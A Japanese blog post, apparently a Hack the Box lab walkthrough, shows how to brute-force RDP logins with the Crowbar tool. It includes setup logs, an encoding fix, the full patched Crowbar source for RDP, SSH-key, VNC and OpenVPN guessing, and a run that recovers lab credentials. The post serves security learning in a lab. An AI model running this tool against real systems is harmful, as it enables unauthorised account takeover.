はじめに
セキュリティに関する知識は,現代社会においてますます重要性を増しています．それに伴い,セキュリティに関する技術もますます需要が高まっています．その中でも,ホワイトハッカーとしてのスキルは,現代のエンジニアにとって非常に重要なものとなっています．本記事では,Pythonを使ったセキュリティの学習を目的として,Hack the Boxでブルートフォースアタックを学ぶ方法について解説します．
ブルートフォースアタックとは
ブルートフォースアタックとは,暗号化された情報を解読するために,全ての可能性を総当たりで試す手法です．この手法は非常に時間がかかるため,現代の暗号化技術では,この手法を防ぐための対策が施されています．しかし,まだまだ多くのサイトやシステムでは,強固なパスワードが使用されていないため,ブルートフォースアタックで簡単にアクセスが可能な状態になっている場合があります．
Hack the Boxとは
Hack the Boxは,ホワイトハッカーを目指したエンジニアのための,実践的なセキュリティ学習プラットフォームです．Hack the Boxでは,仮想マシンに対する攻撃や,Webサイトに対する攻撃など,様々な攻撃シナリオが用意されており,エンジニアは自由に攻撃を行い,セキュリティのスキルを磨くことができます．
Hack the BoxをやるためのPCの設定方法はこちら
http://hamaruki.xmagix.com/hack-the-box-kali-linux-gui-installation-and-use-of-win-kex/
http://hamaruki.xmagix.com/hack-the-box-virtualbox-improvements/
ブルートフォースアタックの実践
Hack the Boxでブルートフォースアタックを行うためには,まずPythonの環境を構築する必要があります．Pythonは,ブルートフォースアタックにおいて非常に便利な言語であり,Hack the Boxでも広く使用されています．Pythonの環境構築には,AnacondaやMinicondaなどのツールが利用できます．
前回の記事はこちらです．
http://hamaruki.xmagix.com/rdp-brute-force-attack-in-python/
使用コード
こちらのサイト*1がドンピシャでしたので参考にしました．
https://medium.com/@idan_malihi/remote-desktop-rdp-brute-force-attack-f5484d8cf6a3
プログラムはこちら*2から入手します．
https://github.com/galkan/crowbar
ダウンロードして展開します．
┌──(root㉿kali)-[/home/…/Documents/xfree/crowbar-master/crowbar-master]
└─# ls
LICENSE.txt README.md crowbar.log crowbar.out crowbar.py images lib requirements.txt setup.py 仮想環境の構築
仮想環境を作成して，入ります
┌──(root㉿kali)-[/home/…/Documents/xfree/crowbar-master/crowbar-master]
└─# conda create -n xfree2 python=3.8
Collecting package metadata (current_repodata.json): done
Solving environment: done
==> WARNING: A newer version of conda exists. <==
current version: 4.12.0
latest version: 4.13.0
Please update conda by running
$ conda update -n base -c defaults conda
Package Plan
environment location: /root/miniconda3/envs/xfree2
added / updated specs:
- python=3.8
The following packages will be downloaded:
package | build
---------------------------|-----------------
_openmp_mutex-5.1 | 1_gnu 21 KB
ca-certificates-2022.07.19 | h06a4308_0 124 KB
certifi-2022.6.15 | py38h06a4308_0 153 KB
ld_impl_linux-64-2.38 | h1181459_1 654 KB
libgcc-ng-11.2.0 | h1234567_1 5.3 MB
libgomp-11.2.0 | h1234567_1 474 KB
libstdcxx-ng-11.2.0 | h1234567_1 4.7 MB
ncurses-6.3 | h5eee18b_3 781 KB
openssl-1.1.1q | h7f8727e_0 2.5 MB
pip-22.1.2 | py38h06a4308_0 2.5 MB
python-3.8.13 | h12debd9_0 18.8 MB
setuptools-61.2.0 | py38h06a4308_0 1012 KB
sqlite-3.38.5 | hc218d9a_0 1.0 MB
tk-8.6.12 | h1ccaba5_0 3.0 MB
xz-5.2.5 | h7f8727e_1 339 KB
zlib-1.2.12 | h7f8727e_2 106 KB
------------------------------------------------------------
Total: 41.4 MB
The following NEW packages will be INSTALLED:
_libgcc_mutex pkgs/main/linux-64::_libgcc_mutex-0.1-main
_openmp_mutex pkgs/main/linux-64::_openmp_mutex-5.1-1_gnu
ca-certificates pkgs/main/linux-64::ca-certificates-2022.07.19-h06a4308_0
certifi pkgs/main/linux-64::certifi-2022.6.15-py38h06a4308_0
ld_impl_linux-64 pkgs/main/linux-64::ld_impl_linux-64-2.38-h1181459_1
libffi pkgs/main/linux-64::libffi-3.3-he6710b0_2
libgcc-ng pkgs/main/linux-64::libgcc-ng-11.2.0-h1234567_1
libgomp pkgs/main/linux-64::libgomp-11.2.0-h1234567_1
libstdcxx-ng pkgs/main/linux-64::libstdcxx-ng-11.2.0-h1234567_1
ncurses pkgs/main/linux-64::ncurses-6.3-h5eee18b_3
openssl pkgs/main/linux-64::openssl-1.1.1q-h7f8727e_0
pip pkgs/main/linux-64::pip-22.1.2-py38h06a4308_0
python pkgs/main/linux-64::python-3.8.13-h12debd9_0
readline pkgs/main/linux-64::readline-8.1.2-h7f8727e_1
setuptools pkgs/main/linux-64::setuptools-61.2.0-py38h06a4308_0
sqlite pkgs/main/linux-64::sqlite-3.38.5-hc218d9a_0
tk pkgs/main/linux-64::tk-8.6.12-h1ccaba5_0
wheel pkgs/main/noarch::wheel-0.37.1-pyhd3eb1b0_0
xz pkgs/main/linux-64::xz-5.2.5-h7f8727e_1
zlib pkgs/main/linux-64::zlib-1.2.12-h7f8727e_2
Proceed ([y]/n)? y
Downloading and Extracting Packages
python-3.8.13 | 18.8 MB | ############################################################################################################################################################################################ | 100%
zlib-1.2.12 | 106 KB | ############################################################################################################################################################################################ | 100%
sqlite-3.38.5 | 1.0 MB | ############################################################################################################################################################################################ | 100%
ld_impl_linux-64-2.3 | 654 KB | ############################################################################################################################################################################################ | 100%
openssl-1.1.1q | 2.5 MB | ############################################################################################################################################################################################ | 100%
tk-8.6.12 | 3.0 MB | ############################################################################################################################################################################################ | 100%
xz-5.2.5 | 339 KB | ############################################################################################################################################################################################ | 100%
ncurses-6.3 | 781 KB | ############################################################################################################################################################################################ | 100%
ca-certificates-2022 | 124 KB | ############################################################################################################################################################################################ | 100%
_openmp_mutex-5.1 | 21 KB | ############################################################################################################################################################################################ | 100%
libstdcxx-ng-11.2.0 | 4.7 MB | ############################################################################################################################################################################################ | 100%
libgcc-ng-11.2.0 | 5.3 MB | ############################################################################################################################################################################################ | 100%
libgomp-11.2.0 | 474 KB | ############################################################################################################################################################################################ | 100%
pip-22.1.2 | 2.5 MB | ############################################################################################################################################################################################ | 100%
setuptools-61.2.0 | 1012 KB | ############################################################################################################################################################################################ | 100%
certifi-2022.6.15 | 153 KB | ############################################################################################################################################################################################ | 100%
Preparing transaction: done
Verifying transaction: done
Executing transaction: done
#
To activate this environment, use
#
$ conda activate xfree2
#
To deactivate an active environment, use
#
$ conda deactivate
┌──(root㉿kali)-[/home/…/Documents/xfree/crowbar-master/crowbar-master]
└─# conda activate xfree2 その後に，必要パッケージをインストールします．
(xfree2) ┌──(root㉿kali)-[/home/…/Documents/xfree/crowbar-master/crowbar-master]
└─# pip list
Package Version
---------- ---------
certifi 2022.6.15
pip 22.1.2
setuptools 61.2.0
wheel 0.37.1
(xfree2) ┌──(root㉿kali)-[/home/…/Documents/xfree/crowbar-master/crowbar-master]
└─# pip install -r requirements.txt
Collecting paramiko==2.7.1
Using cached paramiko-2.7.1-py2.py3-none-any.whl (206 kB)
Collecting pynacl>=1.0.1
Downloading PyNaCl-1.5.0-cp36-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl (856 kB)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 856.7/856.7 kB 9.5 MB/s eta 0:00:00
Collecting cryptography>=2.5
Downloading cryptography-37.0.4-cp36-abi3-manylinux_2_24_x86_64.whl (4.1 MB)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 4.1/4.1 MB 8.7 MB/s eta 0:00:00
Collecting bcrypt>=3.1.3
Downloading bcrypt-3.2.2-cp36-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl (62 kB)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 62.3/62.3 kB 7.6 MB/s eta 0:00:00
Collecting cffi>=1.1
Downloading cffi-1.15.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (442 kB)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 442.7/442.7 kB 9.1 MB/s eta 0:00:00
Collecting pycparser
Downloading pycparser-2.21-py2.py3-none-any.whl (118 kB)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 118.7/118.7 kB 9.8 MB/s eta 0:00:00
Installing collected packages: pycparser, cffi, pynacl, cryptography, bcrypt, paramiko
Successfully installed bcrypt-3.2.2 cffi-1.15.1 cryptography-37.0.4 paramiko-2.7.1 pycparser-2.21 pynacl-1.5.0
WARNING: Running pip as the 'root' user can result in broken permissions and conflicting behaviour with the system package manager. It is recommended to use a virtual environment instead: https://pip.pypa.io/warnings/venvしかし，実行は失敗します．
(xfree2) ┌──(root㉿kali)-[/home/…/Documents/xfree/crowbar-master/crowbar-master]
└─# python crowbar.py --server 10.129.1.13/32 -b rdp -U rockyou.txt -C rockyou.txt
/root/miniconda3/envs/xfree2/lib/python3.8/site-packages/paramiko/transport.py:219: CryptographyDeprecationWarning: Blowfish has been deprecated
"class": algorithms.Blowfish,
2022-07-31 19:11:17 START
2022-07-31 19:11:17 Crowbar v0.4.3-dev
2022-07-31 19:11:17 Trying 10.129.1.13:3389
Error: 'utf-8' codec can't decode byte 0xf1 in position 5079973: invalid continuation byteエンコードで失敗してしまいます．
プログラムの修正
読み込みの所で失敗しているので，Githubからダウンロードしてきた
main.pyファイルを修正します．
結論から言うと，openにオプションを2つ追加するだけで行けます．
userfile = open(self.args.username_file, "r", encoding='utf-8', errors='ignore').read().splitlines()
except Exception as err:
mess = "Error: (username) %s" % err
・・・・・・・
if self.args.passwd_file:
try:
passwdfile = open(self.args.passwd_file, "r", encoding='utf-8', errors='ignore').read().splitlines()なので，全体はこんな感じです．下記をmain.pyにコピペして貰えれば動きます．
try:
import os
import re
import sys
import shlex
import signal
import paramiko
import argparse
import tempfile
import subprocess
from lib.nmap import Nmap
from lib.core.common import *
from lib.core.logger import Logger
from lib.core.threadpool import ThreadPool
from lib.core.exceptions import CrowbarExceptions
from lib.core.iprange import IpRange, InvalidIPAddress
except Exception as err:
from lib.core.exceptions import CrowbarExceptions
raise CrowbarExceptions(str(err))
__version__ = '0.4.3-dev'
__banner__ = 'Crowbar v%s' % (__version__)
def main():
try:
crowbar = Main()
crowbar.run(crowbar.args.brute)
except Exception as err:
import sys
print(err, file=sys.stderr)
sys.exit(1)
class AddressAction(argparse.Action):
def __call__(self, parser, args, values, option=None):
if args.username:
if len(args.username) > 1:
args.username = "\"" + ' '.join([str(line) for line in args.username]) + "\""
else:
args.username = args.username[0]
warning = {args.username: "-U", args.passwd: "-C", args.server: "-S"}
for _ in warning.keys():
if _ and os.path.isfile(_):
mess = "%s is not a valid option. Please use %s option" % (_, warning[_])
raise CrowbarExceptions(mess)
if args.brute == "sshkey":
if args.key_file is None:
mess = """ Usage: use --help for further information\ncrowbar.py: error: argument -k/--key: expected one argument """
raise CrowbarExceptions(mess)
elif (args.username is None) and (args.username_file is None):
mess = """ Usage: use --help for further information\ncrowbar.py: error: argument -u/--username or -U/--username_file expected one argument """
raise CrowbarExceptions(mess)
elif (args.server is None) and (args.server_file is None):
mess = """ Usage: use --help for further information\ncrowbar.py: error: argument -s/--server or -S/--server_file expected one argument """
raise CrowbarExceptions(mess)
elif args.brute == "rdp":
if (args.username is None) and (args.username_file is None):
mess = """ Usage: use --help for further information\ncrowbar.py: error: argument -u/--username or -U/--username_file expected one argument """
raise CrowbarExceptions(mess)
elif (args.passwd is None) and (args.passwd_file is None):
mess = """ Usage: use --help for further information\ncrowbar.py: error: argument -c/--passwd or -C/--passwdfile expected one argument """
raise CrowbarExceptions(mess)
elif (args.server is None) and (args.server_file is None):
mess = """ Usage: use --help for further information\ncrowbar.py: error: argument -s/--server or -S/--server_file expected one argument """
raise CrowbarExceptions(mess)
elif args.brute == "vnckey":
if args.key_file is None:
mess = """ Usage: use --help for further information\ncrowbar.py: error: argument -k/--key: expected one argument """
raise CrowbarExceptions(mess)
elif (args.server is None) and (args.server_file is None):
mess = """ Usage: use --help for further information\ncrowbar.py: error: argument -s/--server or -S/--server_file expected one argument """
raise CrowbarExceptions(mess)
elif args.brute == "openvpn":
if args.config is None:
mess = """ Usage: use --help for further information\ncrowbar.py: error: argument -m/--config expected one argument """
raise CrowbarExceptions(mess)
elif (args.server is None) and (args.server_file is None):
mess = """ Usage: use --help for further information\ncrowbar.py: error: argument -s/--server or -S/--server_file expected one argument """
raise CrowbarExceptions(mess)
elif (args.username is None) and (args.username_file is None):
mess = """ Usage: use --help for further information\ncrowbar.py: error: argument -u/--username or -U/--username_file expected one argument """
raise CrowbarExceptions(mess)
elif (args.passwd is None) and (args.passwd_file is None):
mess = """ Usage: use --help for further information\ncrowbar.py: error: argument -c/--passwd or -C/--passwdfile expected one argument """
raise CrowbarExceptions(mess)
class Main:
is_success = 0
def __init__(self):
self.services = {"openvpn": self.openvpn, "rdp": self.rdp, "sshkey": self.sshkey, "vnckey": self.vnckey}
self.crowbar_readme = "https://github.com/galkan/crowbar/blob/master/README.md"
self.openvpn_path = "/usr/sbin/openvpn"
self.vpn_failure = re.compile("SIGTERM\[soft,auth-failure\] received, process exiting")
self.vpn_success = re.compile("Initialization Sequence Completed")
self.vpn_remote_regex = re.compile("^\s+remote\s[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\s[0-9]{1,3}")
self.vpn_warning = "Warning! Both \"remote\" options were used at the same time. But command line \"remote\" options will be used!"
self.vpn_error_in_use = "Address already in use (errno=98)"
self.xfreerdp_path = "/usr/bin/xfreerdp"
self.rdp_success = "Authentication only, exit status 0"
self.rdp_success_ins_priv = "insufficient access privileges"
self.rdp_success_account_locked = "alert internal error"
self.rdp_error_host_down = "ERRCONNECT_CONNECT_FAILED" # [0x00020006] [0x00020014]
self.rdp_error_display = "Please check that the \$DISPLAY environment variable is properly set."
self.vncviewer_path = "/usr/bin/vncviewer"
self.vnc_success = "Authentication successful"
description = "Crowbar is a brute force tool which supports OpenVPN, Remote Desktop Protocol, SSH Private Keys and VNC Keys."
usage = "Usage: use --help for further information"
parser = argparse.ArgumentParser(description=description, usage=usage)
parser.add_argument('-b', '--brute', dest='brute', help='Target service', choices=self.services.keys(),
required=True)
parser.add_argument('-s', '--server', dest='server', action='store', help='Static target')
parser.add_argument('-S', '--serverfile', dest='server_file', action='store',
help='Multiple targets stored in a file')
parser.add_argument('-u', '--username', dest='username', action='store', nargs='+',
help='Static name to login with')
parser.add_argument('-U', '--usernamefile', dest='username_file', action='store',
help='Multiple names to login with, stored in a file')
parser.add_argument('-n', '--number', dest='thread', action='store',
help='Number of threads to be active at once', default=5, type=int)
parser.add_argument('-l', '--log', dest='log_file', action='store', help='Log file (only write attempts)',
metavar='FILE',
default="crowbar.log")
parser.add_argument('-o', '--output', dest='output', action='store', help='Output file (write everything else)',
metavar='FILE',
default="crowbar.out")
parser.add_argument('-c', '--passwd', dest='passwd', action='store', help='Static password to login with')
parser.add_argument('-C', '--passwdfile', dest='passwd_file', action='store',
help='Multiple passwords to login with, stored in a file',
metavar='FILE')
parser.add_argument('-t', '--timeout', dest='timeout', action='store',
help='[SSH] How long to wait for each thread (seconds)', default=10, type=int)
parser.add_argument('-p', '--port', dest='port', action='store',
help='Alter the port if the service is not using the default value', type=int)
parser.add_argument('-k', '--keyfile', dest='key_file', action='store',
help='[SSH/VNC] (Private) Key file or folder containing multiple files')
parser.add_argument('-m', '--config', dest='config', action='store', help='[OpenVPN] Configuration file ')
parser.add_argument('-d', '--discover', dest='discover', action='store_true',
help='Port scan before attacking open ports', default=False)
parser.add_argument('-v', '--verbose', dest='verbose', action="count",
help='Enable verbose output (-vv for more)', default=False)
parser.add_argument('-D', '--debug', dest='debug', action='store_true', help='Enable debug mode', default=False)
parser.add_argument('-q', '--quiet', dest='quiet', action='store_true', help='Only display successful logins',
default=False)
parser.add_argument('options', nargs='*', action=AddressAction)
try:
self.args = parser.parse_args()
except Exception as err:
raise CrowbarExceptions(str(err))
self.ip_list = []
if self.args.discover:
self.nmap = Nmap()
else:
iprange = IpRange()
try:
if self.args.server is not None:
for _ in self.args.server.split(","):
for ip in iprange.iprange(_):
self.ip_list.append(ip)
else:
for _ in open(self.args.server_file, "r"):
for ip in iprange.iprange(_):
if not ip in self.ip_list:
self.ip_list.append(ip)
except IOError:
mess = "File: %s cannot be opened" % os.path.abspath(self.args.server_file)
raise CrowbarExceptions(mess)
except:
mess = "Invalid IP Address! Please use IP/CIDR notation <192.168.37.37/32, 192.168.1.0/24>"
raise CrowbarExceptions(mess)
if self.args.verbose:
self.logger = Logger(self.args.log_file, self.args.output, True)
else:
self.logger = Logger(self.args.log_file, self.args.output)
self.logger.output_file("START")
if not self.args.quiet:
self.logger.output_file(__banner__)
if self.args.verbose:
self.logger.output_file("Brute Force Type: %s" % self.args.brute)
self.logger.output_file(" Output File: %s" % os.path.abspath(self.args.output))
self.logger.output_file(" Log File: %s" % os.path.abspath(self.args.log_file))
self.logger.output_file(" Discover Mode: %s" % self.args.discover)
self.logger.output_file(" Verbose Mode: %s" % self.args.verbose)
self.logger.output_file(" Debug Mode: %s" % self.args.debug)
def openvpnlogin(self, ip, username, password, brute_file, port):
brute_file_name = brute_file.name
brute_file.seek(0)
openvpn_cmd = "%s --remote %s %s --auth-user-pass %s --tls-exit --connect-retry-max 0 --config %s" % (
self.openvpn_path, ip, port, brute_file_name, self.args.config)
if self.args.verbose == 2:
self.logger.output_file("CMD: %s" % openvpn_cmd)
proc = subprocess.Popen(shlex.split(openvpn_cmd), shell=False, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
brute = "LOG-OPENVPN: " + ip + ":" + str(port) + " - " + username + ":" + password + " - " + brute_file_name
self.logger.log_file(brute)
# For every line out
for line in proc.stdout:
# Is debug enabled
if self.args.debug:
self.logger.output_file(line.decode("utf-8").rstrip())
# Success
if re.search(self.vpn_success, str(line)):
result = bcolors.OKGREEN + "OPENVPN-SUCCESS: " + bcolors.ENDC + bcolors.OKBLUE + ip + ":" + str(
port) + " - " + username + ":" + password + bcolors.ENDC
self.logger.output_file(result)
Main.is_success = 1
os.kill(proc.pid, signal.SIGQUIT)
# Errors
elif re.search(self.vpn_error_in_use, str(line)):
mess = "Already connected to a VPN"
raise CrowbarExceptions(mess)
brute_file.close()
def openvpn(self):
port = 443 # TCP 443, TCP 943, UDP 1194
if not 'SUDO_UID' in os.environ.keys():
mess = "OpenVPN requires super user privileges"
raise CrowbarExceptions(mess)
if not os.path.exists(self.openvpn_path):
mess = "openvpn: %s path doesn't exists on the system" % os.path.abspath(self.openvpn_path)
raise CrowbarExceptions(mess)
if self.args.port is not None:
port = self.args.port
if self.args.discover:
if not self.args.quiet:
self.logger.output_file("Discovery mode - port scanning: %s" % self.args.server)
self.ip_list = self.nmap.port_scan(self.args.server, port)
try:
pool = ThreadPool(int(self.args.thread))
except Exception as err:
raise CrowbarExceptions(str(err))
for config_line in open(self.args.config, "r"):
if re.search(self.vpn_remote_regex, config_line):
raise CrowbarExceptions(self.vpn_warning)
if self.args.username_file:
if not os.path.exists(self.args.username_file):
mess = "File: %s doesn't exists ~ %s" % os.path.abspath(self.args.username_file)
raise CrowbarExceptions(mess)
if self.args.passwd_file:
if not os.path.exists(self.args.passwd_file):
mess = "File: %s doesn't exists ~ %s" % os.path.abspath(self.args.passwd_file)
raise CrowbarExceptions(mess)
for ip in self.ip_list:
if not self.args.quiet:
self.logger.output_file("Trying %s:%s" % (ip, port))
if self.args.username_file:
try:
userfile = open(self.args.username_file, "r").read().splitlines()
except Exception as err:
mess = "Error: %s" % err
raise CrowbarExceptions(mess)
for user in userfile:
if self.args.passwd_file:
try:
passwdfile = open(self.args.passwd_file, "r").read().splitlines()
except Exception as err:
mess = "Error: %s" % err
raise CrowbarExceptions(mess)
for password in passwdfile:
brute_file = tempfile.NamedTemporaryFile(mode='w+t')
brute_file.write(user + "\n")
brute_file.write(password + "\n")
pool.add_task(self.openvpnlogin, ip, user, password, brute_file, port)
else:
brute_file = tempfile.NamedTemporaryFile(mode='w+t')
brute_file.write(user + "\n")
brute_file.write(self.args.passwd + "\n")
pool.add_task(self.openvpnlogin, ip, user, self.args.passwd, brute_file, port)
else:
if self.args.passwd_file:
try:
passwdfile = open(self.args.passwd_file, "r").read().splitlines()
except Exception as err:
mess = "Error: %s" % err
raise CrowbarExceptions(mess)
for password in passwdfile:
brute_file = tempfile.NamedTemporaryFile(mode='w+t')
brute_file.write(self.args.username + "\n")
brute_file.write(password + "\n")
pool.add_task(self.openvpnlogin, ip, self.args.username, password, brute_file, port)
else:
brute_file = tempfile.NamedTemporaryFile(mode='w+t')
brute_file.write(self.args.username + "\n")
brute_file.write(self.args.passwd + "\n")
pool.add_task(self.openvpnlogin, ip, self.args.username, self.args.passwd, brute_file, port)
pool.wait_completion()
def vnclogin(self, ip, port, keyfile):
vnc_cmd = "%s -passwd %s %s:%s" % (self.vncviewer_path, keyfile, ip, port)
if self.args.verbose == 2:
self.logger.output_file("CMD: %s" % vnc_cmd)
proc = subprocess.Popen(shlex.split(vnc_cmd), shell=False, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
brute = "LOG-VNC: " + ip + ":" + str(port) + " - " + keyfile
self.logger.log_file(brute)
# For every line out
for line in proc.stdout:
# Is debug enabled
if self.args.debug:
self.logger.output_file(line.decode("utf-8").rstrip())
if re.search(self.vnc_success, str(line)):
os.kill(proc.pid, signal.SIGQUIT)
result = bcolors.OKGREEN + "VNC-SUCCESS: " + bcolors.ENDC + bcolors.OKBLUE + ip + ":" + str(
port) + " - " + keyfile + bcolors.ENDC
self.logger.output_file(result)
Main.is_success = 1
break
def vnckey(self, *options):
port = 5901
if not os.path.exists(self.vncviewer_path):
mess = "vncviewer: %s path doesn't exists on the system" % os.path.abspath(self.vncviewer_path)
raise CrowbarExceptions(mess)
if self.args.port is not None:
port = self.args.port
if self.args.discover:
if not self.args.quiet:
self.logger.output_file("Discovery mode - port scanning: %s" % self.args.server)
self.ip_list = self.nmap.port_scan(self.args.server, port)
if not os.path.isfile(self.args.key_file):
mess = "Key file: \"%s\" doesn't exists" % os.path.abspath(self.args.key_file)
raise CrowbarExceptions(mess)
try:
pool = ThreadPool(int(self.args.thread))
except Exception as err:
raise CrowbarExceptions(str(err))
for ip in self.ip_list:
if not self.args.quiet:
self.logger.output_file("Trying %s:%s" % (ip, port))
pool.add_task(self.vnclogin, ip, port, self.args.key_file)
pool.wait_completion()
def rdplogin(self, ip, user, password, port):
# Could look into using: -grab-keyboard -mouse-motion -wallpaper -themes
rdp_cmd = "%s /v:%s /port:%s /u:%s /p:%s /cert-ignore -clipboard +auth-only " % (
self.xfreerdp_path, ip, port, user, password)
if self.args.verbose == 2:
self.logger.output_file("CMD: %s" % rdp_cmd)
# stderr to stdout
proc = subprocess.Popen(shlex.split(rdp_cmd), shell=False, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
brute = "LOG-RDP: " + ip + ":" + str(port) + " - " + user + ":" + password
self.logger.log_file(brute)
# For every line out
for line in proc.stdout:
# Is debug enabled
if self.args.debug:
self.logger.output_file(line.decode("utf-8").rstrip())
# Success
if re.search(self.rdp_success, str(line)):
result = bcolors.OKGREEN + "RDP-SUCCESS : " + bcolors.ENDC + bcolors.OKBLUE + ip + ":" + str(
port) + " - " + user + ":" + password + bcolors.ENDC
self.logger.output_file(result)
Main.is_success = 1
break
elif re.search(self.rdp_success_ins_priv, str(line)):
result = bcolors.OKGREEN + "RDP-SUCCESS (INSUFFICIENT PRIVILEGES) : " + bcolors.ENDC + bcolors.OKBLUE + ip + ":" + str(
port) + " - " + user + ":" + password + bcolors.ENDC
self.logger.output_file(result)
Main.is_success = 1
break
elif re.search(self.rdp_success_account_locked, str(line)):
result = bcolors.OKGREEN + "RDP-SUCCESS (ACCOUNT_LOCKED_OR_PASSWORD_EXPIRED) : " + bcolors.ENDC + bcolors.OKBLUE + ip + ":" + str(
port) + " - " + user + ":" + password + bcolors.ENDC
self.logger.output_file(result)
Main.is_success = 1
break
# Errors
elif re.search(self.rdp_error_display, str(line)):
mess = "Please check \$DISPLAY is properly set. See README.md %s" % self.crowbar_readme
raise CrowbarExceptions(mess)
elif re.search(self.rdp_error_host_down, str(line)):
mess = "Host isn't up"
raise CrowbarExceptions(mess)
def rdp(self):
port = 3389
if not os.path.exists(self.xfreerdp_path):
mess = "xfreerdp: %s path doesn't exists on the system" % os.path.abspath(self.xfreerdp_path)
raise CrowbarExceptions(mess)
if self.args.port is not None:
port = self.args.port
if self.args.discover:
if not self.args.quiet:
self.logger.output_file("Discovery mode - port scanning: %s" % self.args.server)
self.ip_list = self.nmap.port_scan(self.args.server, port)
try:
pool = ThreadPool(int(self.args.thread))
except Exception as err:
raise CrowbarExceptions(str(err))
if self.args.username_file:
if not os.path.exists(self.args.username_file):
mess = "File: %s doesn't exists ~ %s" % os.path.abspath(self.args.username_file)
raise CrowbarExceptions(mess)
if self.args.passwd_file:
if not os.path.exists(self.args.passwd_file):
mess = "File: %s doesn't exists ~ %s" % os.path.abspath(self.args.passwd_file)
raise CrowbarExceptions(mess)
for ip in self.ip_list:
if not self.args.quiet:
self.logger.output_file("Trying %s:%s" % (ip, port))
if self.args.username_file:
try:
userfile = open(self.args.username_file, "r", encoding='utf-8', errors='ignore').read().splitlines()
except Exception as err:
mess = "Error: (username) %s" % err
raise CrowbarExceptions(mess)
for user in userfile:
if ' ' in user:
user = '"' + user + '"'
if self.args.passwd_file:
try:
passwdfile = open(self.args.passwd_file, "r", encoding='utf-8', errors='ignore').read().splitlines()
except Exception as err:
mess = "Error: (passwd) %s" % err
raise CrowbarExceptions(mess)
for password in passwdfile:
pool.add_task(self.rdplogin, ip, user, password, port)
else:
pool.add_task(self.rdplogin, ip, user, self.args.passwd, port)
else:
if self.args.passwd_file:
try:
passwdfile = open(self.args.passwd_file, "r").read().splitlines()
except Exception as err:
mess = "Error: %s" % err
raise CrowbarExceptions(mess)
for password in passwdfile:
pool.add_task(self.rdplogin, ip, self.args.username, password, port)
else:
pool.add_task(self.rdplogin, ip, self.args.username, self.args.passwd, port)
pool.wait_completion()
def sshlogin(self, ip, port, user, keyfile, timeout):
try:
ssh = paramiko.SSHClient()
paramiko.util.log_to_file("/dev/null")
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
except:
pass
else:
brute = "LOG-SSH: " + ip + ":" + str(port) + " - " + user + ":" + keyfile + ":" + str(timeout)
self.logger.log_file(brute)
try:
ssh.connect(ip, port, username=user, password=None, pkey=None, key_filename=keyfile, timeout=timeout,
allow_agent=False, look_for_keys=False)
result = bcolors.OKGREEN + "SSH-SUCCESS: " + bcolors.ENDC + bcolors.OKBLUE + ip + ":" + str(
port) + " - " + user + ":" + keyfile + bcolors.ENDC
self.logger.output_file(result)
Main.is_success = 1
except:
pass
def sshkey(self):
port = 22
if self.args.port is not None:
port = self.args.port
if self.args.discover:
if not self.args.quiet:
self.logger.output_file("Discovery mode - port scanning: %s" % self.args.server)
self.ip_list = self.nmap.port_scan(self.args.server, port)
try:
pool = ThreadPool(self.args.thread)
except Exception as err:
raise CrowbarExceptions(str(err))
if self.args.username_file:
if not os.path.exists(self.args.username_file):
mess = "File: %s doesn't exists ~ %s" % os.path.abspath(self.args.username_file)
raise CrowbarExceptions(mess)
if not os.path.exists(self.args.key_file):
mess = "Key file/folder: \"%s\" doesn't exists" % os.path.abspath(self.args.key_file)
raise CrowbarExceptions(mess)
for ip in self.ip_list:
if not self.args.quiet:
self.logger.output_file("Trying %s:%s" % (ip, port))
if self.args.username_file:
try:
userfile = open(self.args.username_file, "r").read().splitlines()
except Exception as err:
mess = "Error: %s" % err
raise CrowbarExceptions(mess)
for user in userfile:
if os.path.isdir(self.args.key_file):
for dirname, dirnames, filenames in os.walk(self.args.key_file):
for keyfile in filenames:
keyfile_path = self.args.key_file + "/" + keyfile
if keyfile.endswith('.pub', 4):
self.logger.output_file("LOG-SSH: Skipping Public Key - %s" % keyfile_path)
continue
pool.add_task(self.sshlogin, ip, port, user, keyfile_path, self.args.timeout)
else:
pool.add_task(self.sshlogin, ip, port, user, self.args.key_file, self.args.timeout)
else:
if os.path.isdir(self.args.key_file):
for dirname, dirnames, filenames in os.walk(self.args.key_file):
for keyfile in filenames:
keyfile_path = dirname + "/" + keyfile
if keyfile.endswith('.pub', 4):
self.logger.output_file("LOG-SSH: Skipping Public Key - %s" % keyfile_path)
continue
pool.add_task(self.sshlogin, ip, port, self.args.username, keyfile_path, self.args.timeout)
else:
pool.add_task(self.sshlogin, ip, port, self.args.username, self.args.key_file, self.args.timeout)
pool.wait_completion()
def run(self, brute_type):
signal.signal(signal.SIGINT, self.signal_handler)
if not brute_type in self.services.keys():
mess = "%s is not a valid service. Please select: %s" % (brute_type, self.services.keys())
raise CrowbarExceptions(mess)
else:
self.services[brute_type]()
self.logger.output_file("STOP")
if Main.is_success == 0:
self.logger.output_file("No results found...")
def signal_handler(self, signal, frame):
raise CrowbarExceptions("\nExiting...")ブルートフォースアタック
パスワードとユーザー名のリストはsmall.txtとして作っておきます．
Admin
Administration
administrator
user
root
pass
passwordあとは実行するだけで，ユーザー名とパスワードを割り出してくれます．
(xfree2) ┌──(root㉿kali)-[/home/…/Documents/xfree/crowbar-master/crowbar-master]
└─# python crowbar.py --server 10.129.1.13/32 -b rdp -U small.txt -C small.txt
/root/miniconda3/envs/xfree2/lib/python3.8/site-packages/paramiko/transport.py:219: CryptographyDeprecationWarning: Blowfish has been deprecated
"class": algorithms.Blowfish,
2022-07-31 19:32:08 START
2022-07-31 19:32:08 Crowbar v0.4.3-dev
2022-07-31 19:32:08 Trying 10.129.1.13:3389
2022-07-31 19:32:10 RDP-SUCCESS (ACCOUNT_LOCKED_OR_PASSWORD_EXPIRED) : 10.129.1.13:3389 - Admin:Administration
